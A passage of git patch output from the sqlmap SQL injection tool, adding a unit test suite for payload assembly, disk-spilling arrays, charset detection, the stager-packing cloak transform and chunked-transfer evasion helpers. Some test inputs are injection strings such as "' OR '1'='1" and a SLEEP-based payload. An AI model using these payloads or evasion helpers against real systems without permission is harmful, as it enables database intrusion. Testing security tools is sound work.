"pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 48b915b5ee57352912ba6a99a8b41ac47b3ca820 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 01:20:48 +0200 Subject: [PATCH 010/165] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/testing.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e93622107..6f61bb9a9 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,11 +188,11 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -aac10c0b7178194553609c1eca980c14d0ae3f0e013341a8a9bcb018ed3faf28 lib/core/settings.py +b0e5477bbbf2eb673fa6b99829c2f51e108bebd3f572d0527e90684c157ba3c6 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -7f7d1c57917f6ccc98e2ef093e2fa4cb6424d904c772b61003d5a5a3482a848f lib/core/testing.py +8bbc9312147ee8ca719860bc7ad472eac25230e4d46976fbb405efe43fe15ef6 lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py diff --git a/lib/core/settings.py b/lib/core/settings.py index cd5f379c8..04acbfcf7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.104" +VERSION = "1.10.6.105" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 6d0a9849e..bcb773fa7 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -246,7 +246,7 @@ def smokeTest(): count, length = 0, 0 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra", "interbase")): + if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")): continue for filename in files: @@ -254,7 +254,7 @@ def smokeTest(): length += 1 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra", "interbase")): + if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")): continue for filename in files: From 3816df1241a164cbd42d35afb9668052151d86b6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 09:50:47 +0200 Subject: [PATCH 011/165] Adding unit tests --- .github/workflows/tests.yml | 3 + data/txt/sha256sums.txt | 38 +++++++- lib/core/settings.py | 2 +- tests/__init__.py | 6 ++ tests/_testutils.py | 89 ++++++++++++++++++ tests/test_agent.py | 86 +++++++++++++++++ tests/test_bigarray.py | 95 +++++++++++++++++++ tests/test_charset.py | 71 ++++++++++++++ tests/test_cloak.py | 67 +++++++++++++ tests/test_common_helpers.py | 76 +++++++++++++++ tests/test_comparison.py | 132 ++++++++++++++++++++++++++ tests/test_convert.py | 141 +++++++++++++++++++++++++++ tests/test_datafiles.py | 124 ++++++++++++++++++++++++ tests/test_datatypes.py | 96 +++++++++++++++++++ tests/test_decodepage.py | 81 ++++++++++++++++ tests/test_dialect.py | 107 +++++++++++++++++++++ tests/test_dicts.py | 88 +++++++++++++++++ tests/test_encoding.py | 75 +++++++++++++++ tests/test_error_engine.py | 113 ++++++++++++++++++++++ tests/test_hash.py | 105 +++++++++++++++++++++ tests/test_hashdb.py | 129 +++++++++++++++++++++++++ tests/test_identifiers_output.py | 78 +++++++++++++++ tests/test_inference_engine.py | 153 ++++++++++++++++++++++++++++++ tests/test_misc.py | 125 ++++++++++++++++++++++++ tests/test_pagecontent.py | 85 +++++++++++++++++ tests/test_payload_marking.py | 157 +++++++++++++++++++++++++++++++ tests/test_payloads_structure.py | 110 ++++++++++++++++++++++ tests/test_replication.py | 87 +++++++++++++++++ tests/test_safe2bin.py | 60 ++++++++++++ tests/test_settings_regex.py | 66 +++++++++++++ tests/test_sqlparse.py | 87 +++++++++++++++++ tests/test_strings.py | 102 ++++++++++++++++++++ tests/test_tamper.py | 125 ++++++++++++++++++++++++ tests/test_targeturl.py | 70 ++++++++++++++ tests/test_texthelpers.py | 74 +++++++++++++++ tests/test_union_engine.py | 107 +++++++++++++++++++++ tests/test_urls.py | 80 ++++++++++++++++ tests/test_utils.py | 117 +++++++++++++++++++++++ tests/test_wordlist.py | 96 +++++++++++++++++++ 39 files changed, 3501 insertions(+), 2 deletions(-) create mode 100644 tests/__init__.py create mode 100644 tests/_testutils.py create mode 100644 tests/test_agent.py create mode 100644 tests/test_bigarray.py create mode 100644 tests/test_charset.py create mode 100644 tests/test_cloak.py create mode 100644 tests/test_common_helpers.py create mode 100644 tests/test_comparison.py create mode 100644 tests/test_convert.py create mode 100644 tests/test_datafiles.py create mode 100644 tests/test_datatypes.py create mode 100644 tests/test_decodepage.py create mode 100644 tests/test_dialect.py create mode 100644 tests/test_dicts.py create mode 100644 tests/test_encoding.py create mode 100644 tests/test_error_engine.py create mode 100644 tests/test_hash.py create mode 100644 tests/test_hashdb.py create mode 100644 tests/test_identifiers_output.py create mode 100644 tests/test_inference_engine.py create mode 100644 tests/test_misc.py create mode 100644 tests/test_pagecontent.py create mode 100644 tests/test_payload_marking.py create mode 100644 tests/test_payloads_structure.py create mode 100644 tests/test_replication.py create mode 100644 tests/test_safe2bin.py create mode 100644 tests/test_settings_regex.py create mode 100644 tests/test_sqlparse.py create mode 100644 tests/test_strings.py create mode 100644 tests/test_tamper.py create mode 100644 tests/test_targeturl.py create mode 100644 tests/test_texthelpers.py create mode 100644 tests/test_union_engine.py create mode 100644 tests/test_urls.py create mode 100644 tests/test_utils.py create mode 100644 tests/test_wordlist.py diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index cda04f8ae..358f7ba7e 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -40,6 +40,9 @@ jobs: - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" + - name: Unit tests + run: python -m unittest discover -s tests -p "test_*.py" + - name: Smoke test run: python sqlmap.py --smoke diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6f61bb9a9..25094e0d6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b0e5477bbbf2eb673fa6b99829c2f51e108bebd3f572d0527e90684c157ba3c6 lib/core/settings.py +a910686c6eba592ba3f6fc5cbb8bed1bd6c330b0165c7c5dc927a71c5ae8be88 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -564,6 +564,42 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional 7afc4d262b97773e67dcfa3e253a9a060dc964750f01d739636d17ee069f1512 tamper/versionedkeywords.py 0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7 tamper/versionedmorekeywords.py ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py +44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py +bfb553602eb5d20b4ab5928dbcf8e6a3e7e5ff69f7d30d1f53ef6d323c237f6c tests/test_agent.py +d4d7d3525d25ce72bf38bd38b5fdf61144e381993d63be7dc72b2b4811ffab67 tests/test_bigarray.py +27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py +9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py +a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_common_helpers.py +7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py +8593f14a18c4445c58b2e59462adcb761074ac7217cd7c3808519a90ba279bda tests/test_convert.py +5016119bdb57094381afdca35ef29a4a6641e26e4b48a9119f1db633e6123d29 tests/test_datafiles.py +9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py +3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py +e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py +993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py +2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py +bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py +8105de9978fe286a29f6b635a58db1e9998d86e8dded54d7efdfb9d52a121094 tests/test_hashdb.py +c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py +205e84827461101a78b2cffaa3de49795a1214e92276fc7fd40f3456657062b9 tests/test_identifiers_output.py +5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py +caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py +cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py +4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py +6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py +5c95e7863190e440234f231864fb1219c35207132762858cc95181c57086bafc tests/test_replication.py +cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py +a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py +d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py +41907c873663401f979b87eaff3efc8d52e0ce96cbe1eef7aa70c6d3af8cd5cf tests/test_strings.py +f3a628db8a3e05baee580c02132e95b164695e4b3ee1785707e3ea148702449a tests/test_tamper.py +b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py +639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py +708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py +4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py +4f095ebda1b9bddde082ed464e863400cf23e9bf26f081948706213b35069195 tests/_testutils.py +2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py +81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 04acbfcf7..6c7c64b90 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.105" +VERSION = "1.10.6.106" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 000000000..2c772879a --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" diff --git a/tests/_testutils.py b/tests/_testutils.py new file mode 100644 index 000000000..1858e9d85 --- /dev/null +++ b/tests/_testutils.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Shared bootstrap for the sqlmap unit/regression test suite. + +Brings sqlmap's global state (conf/kb, the 'reversible' codec, cross-references, +option defaults) up far enough that pure/near-pure library functions can be +exercised in isolation - WITHOUT a live target, network, or DBMS. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import warnings + +# Quieten import-time noise before any sqlmap/3rd-party module is imported by bootstrap(): +# e.g. cryptography's "Python 2 is no longer supported" CryptographyDeprecationWarning via pymysql. +warnings.filterwarnings("ignore", message=".*Python 2 is no longer supported.*") +warnings.filterwarnings("ignore", category=DeprecationWarning) +# sqlmap reconfigures stdout at startup; py3 emits a benign RuntimeWarning about line buffering +warnings.filterwarnings("ignore", message=".*line buffering.*binary mode.*") + +_BOOTSTRAPPED = False +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + + +def bootstrap(): + """Idempotently initialize sqlmap global state for testing.""" + global _BOOTSTRAPPED + if _BOOTSTRAPPED: + return + + if ROOT not in sys.path: + sys.path.insert(0, ROOT) + # a dummy target so cmdLineParser() populates ALL option defaults without erroring; + # save/restore the real argv so the unittest runner isn't confused by it + _orig_argv = list(sys.argv) + sys.argv = ["sqlmap.py", "-u", "http://test.invalid/?id=1"] + + from lib.core.common import setPaths + from lib.core.patch import dirtyPatches, resolveCrossReferences + setPaths(ROOT) + dirtyPatches() # registers the 'reversible' codec error handler, etc. + resolveCrossReferences() + + from lib.core.option import _setConfAttributes, _setKnowledgeBaseAttributes, _loadQueries + _setConfAttributes() + _setKnowledgeBaseAttributes() + _loadQueries() # populate the `queries` dict from queries.xml (needed by dialect builders) + + from lib.core.data import conf, kb + from lib.core.defaults import defaults + from lib.parse.cmdline import cmdLineParser + + args = cmdLineParser() + parsed = args.__dict__ if hasattr(args, "__dict__") else dict(args) + for k, v in parsed.items(): + conf[k] = v + # overlay canonical defaults for options left None (sqlmap does this during init) + for k, v in defaults.items(): + if conf.get(k) is None: + conf[k] = v + + kb.binaryField = False # normally set lazily during extraction + + # Silence sqlmap's application logger - tests assert on results, not log output, and the + # INFO/WARNING/ERROR chatter (column counts, reflective-value notices, an intentionally + # malformed-deflate error, etc.) just clutters the unittest report. + import logging + logging.getLogger("sqlmapLog").setLevel(logging.CRITICAL + 1) + + sys.argv = _orig_argv # restore so unittest's arg parsing works + _BOOTSTRAPPED = True + + +def set_dbms(name): + """Force the identified back-end DBMS for dialect-dependent functions. + + Uses forceDbms (not setDbms) so switching DBMS repeatedly in one process does + not trigger the interactive fingerprint-mismatch prompt. + """ + from lib.core.common import Backend + from lib.core.data import kb + kb.stickyDBMS = False + Backend.forceDbms(name) diff --git a/tests/test_agent.py b/tests/test_agent.py new file mode 100644 index 000000000..2fb7bc09e --- /dev/null +++ b/tests/test_agent.py @@ -0,0 +1,86 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Payload assembly helpers in lib/core/agent.py. + +These are the (mostly) DBMS-independent string transforms that wrap, fold and +clean a payload on its way to the wire: prefix/suffix, payload delimiters, +field extraction, CONCAT folding, and RAND-marker cleanup. All values below +were probed from real output, not assumed. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.enums import DBMS +from lib.core.settings import PAYLOAD_DELIMITER + + +class TestPayloadDelimiters(unittest.TestCase): + def test_add(self): + self.assertEqual(agent.addPayloadDelimiters("1 AND 1=1"), + "%s1 AND 1=1%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER)) + + def test_remove(self): + wrapped = "%spayload%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER) + self.assertEqual(agent.removePayloadDelimiters(wrapped), "payload") + + def test_remove_none_is_none(self): + self.assertIsNone(agent.removePayloadDelimiters(None)) + + def test_roundtrip(self): + for p in ["1=1", "1 AND SLEEP(5)", "' OR '1'='1", "", "a%sb" % "x"]: + self.assertEqual(agent.removePayloadDelimiters(agent.addPayloadDelimiters(p)), p, + msg="delimiter round-trip for %r" % p) + + +class TestPrefixSuffix(unittest.TestCase): + def test_prefix_default_pads_space(self): + # with no configured prefix, a single leading space is prepended + self.assertEqual(agent.prefixQuery("1=1"), " 1=1") + + def test_suffix_default_identity(self): + self.assertEqual(agent.suffixQuery("1=1"), "1=1") + + +class TestGetFields(unittest.TestCase): + def test_extracts_select_list(self): + # getFields(query) returns an 8-tuple; the fields-bearing slots are: + # [0],[1] = regex match objects for the SELECT/expression (must be found, not None) + # [5] = parsed field list, [6] = raw fields string + # (asserting the match objects guards against a refactor that silently shifts the tuple) + result = agent.getFields("SELECT a,b FROM t") + self.assertIsNotNone(result[0], msg="getFields did not match the SELECT") + self.assertEqual(result[5], ["a", "b"]) + self.assertEqual(result[6], "a,b") + + +class TestConcatQuery(unittest.TestCase): + def test_mysql_concat_folding(self): + set_dbms(DBMS.MYSQL) + q = agent.concatQuery("SELECT a FROM t") + # folds the field through CONCAT with the start/stop delimiters and keeps the FROM + self.assertTrue(q.startswith("CONCAT("), msg=q) + self.assertIn("IFNULL(CAST(a AS NCHAR),' ')", q) + self.assertTrue(q.endswith("FROM t"), msg=q) + + +class TestCleanupPayload(unittest.TestCase): + def test_randnum_marker_replaced_with_digits(self): + out = agent.cleanupPayload("SELECT [RANDNUM]") + self.assertNotIn("[RANDNUM]", out, msg="marker not replaced: %r" % out) # actually substituted + self.assertTrue(out.startswith("SELECT "), msg=out) + self.assertTrue(out.split()[-1].isdigit(), msg=out) # ...and replaced with a concrete number + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_bigarray.py b/tests/test_bigarray.py new file mode 100644 index 000000000..f531ea4bb --- /dev/null +++ b/tests/test_bigarray.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +BigArray disk-spill semantics (lib/core/bigarray.py). + +BigArray is the structure that lets sqlmap dump tables far larger than RAM: once +the in-memory chunk exceeds chunk_size it is pickled to a temp file and a new +chunk starts. The tricky, easy-to-break part is that indexing / iteration / +pop / pickling must stay correct ACROSS the in-memory<->on-disk boundary. + +These force a spill with a tiny chunk_size and assert the data survives intact. +""" + +import os +import pickle +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.bigarray import BigArray + +N = 5000 + + +def _make_spilled(): + # tiny chunk_size guarantees many on-disk chunks for N items + ba = BigArray(chunk_size=1024) + for i in range(N): + ba.append("item-%d" % i) + return ba + + +class TestSpill(unittest.TestCase): + def test_actually_spilled_to_disk(self): + ba = _make_spilled() + self.assertGreater(len(ba.chunks), 1, msg="expected multiple chunks (a disk spill)") + # stronger than "more than one chunk": at least one chunk must be a real on-disk file + # (spilled chunks are stored as filenames). Otherwise this could pass while everything + # stayed in RAM. + disk_chunks = [c for c in ba.chunks if isinstance(c, str)] + self.assertTrue(disk_chunks, msg="no chunk was spilled to disk") + self.assertTrue(os.path.exists(disk_chunks[0]), msg="spilled chunk file missing on disk") + + def test_len(self): + self.assertEqual(len(_make_spilled()), N) + + def test_random_access_across_boundary(self): + ba = _make_spilled() + for i in (0, 1, 499, 500, 2500, N - 1): + self.assertEqual(ba[i], "item-%d" % i, msg="ba[%d]" % i) + + def test_negative_index(self): + ba = _make_spilled() + self.assertEqual(ba[-1], "item-%d" % (N - 1)) + + def test_iteration_order_preserved(self): + ba = _make_spilled() + for idx, value in enumerate(ba): + if value != "item-%d" % idx: + self.fail("iteration order broke at %d: %r" % (idx, value)) + self.assertEqual(idx, N - 1) + + def test_pop_from_end(self): + ba = _make_spilled() + self.assertEqual(ba.pop(), "item-%d" % (N - 1)) + self.assertEqual(len(ba), N - 1) + + def test_pickle_roundtrip_across_spill(self): + ba = _make_spilled() + restored = pickle.loads(pickle.dumps(ba)) + self.assertIsInstance(restored, BigArray) + self.assertEqual(len(restored), N) + self.assertEqual(restored[0], "item-0") + self.assertEqual(restored[N - 1], "item-%d" % (N - 1)) + + +class TestInMemorySmall(unittest.TestCase): + def test_no_spill_for_small(self): + ba = BigArray([1, 2, 3]) + self.assertEqual(len(ba), 3) + self.assertEqual(list(ba), [1, 2, 3]) + # the actual point of this test (the name promised it): a tiny array stays in ONE + # in-memory chunk and never touches disk + self.assertEqual(len(ba.chunks), 1, msg="small array unexpectedly spilled: %r" % (ba.chunks,)) + self.assertFalse(any(isinstance(c, str) for c in ba.chunks), msg="small array wrote a disk chunk") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_charset.py b/tests/test_charset.py new file mode 100644 index 000000000..b7930bee0 --- /dev/null +++ b/tests/test_charset.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Response charset / meta detection and parameter parsing. + +checkCharEncoding canonicalizes the encoding sqlmap will decode a page with; +META_CHARSET_REGEX / HTML_TITLE_REGEX / META_REFRESH_REGEX pull structural hints +out of the body; paramToDict splits the parameters sqlmap will inject into. +These feed decodePage and the comparison engine, so the canonical/None results +are pinned here. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.basic import checkCharEncoding +from lib.core.common import extractRegexResult, paramToDict +from lib.core.enums import PLACE +from lib.core.settings import META_CHARSET_REGEX, HTML_TITLE_REGEX, META_REFRESH_REGEX + + +class TestCheckCharEncoding(unittest.TestCase): + def test_canonical_known(self): + for enc in ("utf-8", "windows-1252", "iso-8859-1", "ascii", "latin1"): + self.assertEqual(checkCharEncoding(enc, False), enc, msg="checkCharEncoding(%r)" % enc) + + def test_normalizes_aliases(self): + self.assertEqual(checkCharEncoding("UTF8", False), "utf8") + self.assertEqual(checkCharEncoding("us-ascii", False), "ascii") + + def test_unknown_is_none(self): + self.assertIsNone(checkCharEncoding("boguscharset123", False)) + + def test_none_is_none(self): + self.assertIsNone(checkCharEncoding(None, False)) + + +class TestBodyHints(unittest.TestCase): + def test_meta_charset(self): + self.assertEqual(extractRegexResult(META_CHARSET_REGEX, ''), "utf-8") + + def test_title(self): + self.assertEqual(extractRegexResult(HTML_TITLE_REGEX, "Login Page"), "Login Page") + + def test_meta_refresh_url(self): + self.assertEqual(extractRegexResult(META_REFRESH_REGEX, + ''), "/next") + + def test_no_match_is_none(self): + self.assertIsNone(extractRegexResult(HTML_TITLE_REGEX, "no title here")) + + +class TestParamToDict(unittest.TestCase): + # NOTE: GET parsing is covered in test_urls.py; here we only cover the COOKIE place, + # which uses a different (semicolon) delimiter and is a distinct code path. + def test_cookie_semicolon_delimited(self): + d = paramToDict(PLACE.COOKIE, "sid=abc; theme=dark") + self.assertEqual(d.get("sid"), "abc") + self.assertEqual(d.get("theme"), "dark") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_cloak.py b/tests/test_cloak.py new file mode 100644 index 000000000..512f5dbce --- /dev/null +++ b/tests/test_cloak.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +cloak / decloak (extra/cloak/cloak.py) - the zlib+XOR transform used to pack the +payload stager files (.py_) that sqlmap drops and unpacks on a target during +takeover/file-write. A broken round-trip here corrupts every deployed stager. + +decloak(cloak(x)) must be the identity for arbitrary bytes; pinned with known +vectors and a property sweep over random binary inputs. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +# cloak ships under extra/cloak (build-time + runtime stager packer) +sys.path.insert(0, os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "extra", "cloak")) +import cloak as C + +RND = random.Random(1234) + + +def _rand_bytes(n): + return bytes(bytearray(RND.randint(0, 255) for _ in range(n))) + + +class TestCloakRoundTrip(unittest.TestCase): + def test_known_payload(self): + data = b"print('stager')" + self.assertEqual(C.decloak(data=C.cloak(data=data)), data) + + def test_empty(self): + self.assertEqual(C.decloak(data=C.cloak(data=b"")), b"") + + def test_cloak_changes_bytes(self): + # cloak must actually transform (compress+xor), not pass through + data = b"A" * 64 + self.assertNotEqual(C.cloak(data=data), data) + + def test_cloak_compresses_compressible_input(self): + # highly-repetitive input must come out SMALLER (proves zlib is actually applied, + # not just an XOR-only obfuscation). NOTE: random/incompressible data would grow, + # so this assertion is only valid for compressible input. + data = b"A" * 1000 + self.assertLess(len(C.cloak(data=data)), len(data)) + + def test_property_random_binary(self): + for _ in range(500): + data = _rand_bytes(RND.randint(0, 200)) + self.assertEqual(C.decloak(data=C.cloak(data=data)), data, msg="cloak round-trip failed for %r" % data) + + def test_property_large(self): + for size in (1024, 8192, 65536): + data = _rand_bytes(size) + self.assertEqual(C.decloak(data=C.cloak(data=data)), data, msg="cloak round-trip failed at size %d" % size) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_common_helpers.py b/tests/test_common_helpers.py new file mode 100644 index 000000000..a13dc4517 --- /dev/null +++ b/tests/test_common_helpers.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Assorted request-shaping helpers in lib/core/common.py: +chunkSplitPostData (HTTP chunked-transfer evasion), randomizeParameterValue +(tamper/cache-buster), getHostHeader (Host header derivation). + +chunkSplitPostData uses random chunk sizes, so its output is asserted +structurally (reassembles to the original, terminates correctly) rather than +byte-for-byte; randomizeParameterValue is asserted via its invariants. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import chunkSplitPostData, randomizeParameterValue, getHostHeader + + +def _dechunk(data): + """Reassemble an HTTP/1.1 chunked body back into its payload.""" + out = [] + i = 0 + while i < len(data): + nl = data.index("\r\n", i) + size = int(data[i:nl].split(";")[0], 16) # size; optional chunk-extension + start = nl + 2 + out.append(data[start:start + size]) + i = start + size + 2 # skip chunk data + trailing CRLF + if size == 0: + break + return "".join(out) + + +class TestChunkSplit(unittest.TestCase): + def test_reassembles_to_original(self): + for payload in ("a=1&b=2", "x" * 50, "single=value", ""): + self.assertEqual(_dechunk(chunkSplitPostData(payload)), payload, + msg="chunk reassembly failed for %r" % payload) + + def test_terminates_with_zero_chunk(self): + self.assertTrue(chunkSplitPostData("a=1&b=2").endswith("0\r\n\r\n")) + + +class TestRandomizeParameterValue(unittest.TestCase): + def test_length_preserved(self): + for v in ("abc123", "value", "42", "MixedCASE99"): + self.assertEqual(len(randomizeParameterValue(v)), len(v), msg="length changed for %r" % v) + + def test_char_class_preserved(self): + # letters stay letters, digits stay digits (positionally) + src = "abc123XYZ789" + out = randomizeParameterValue(src) + for a, b in zip(src, out): + self.assertEqual(a.isdigit(), b.isdigit(), msg="char class changed: %r -> %r" % 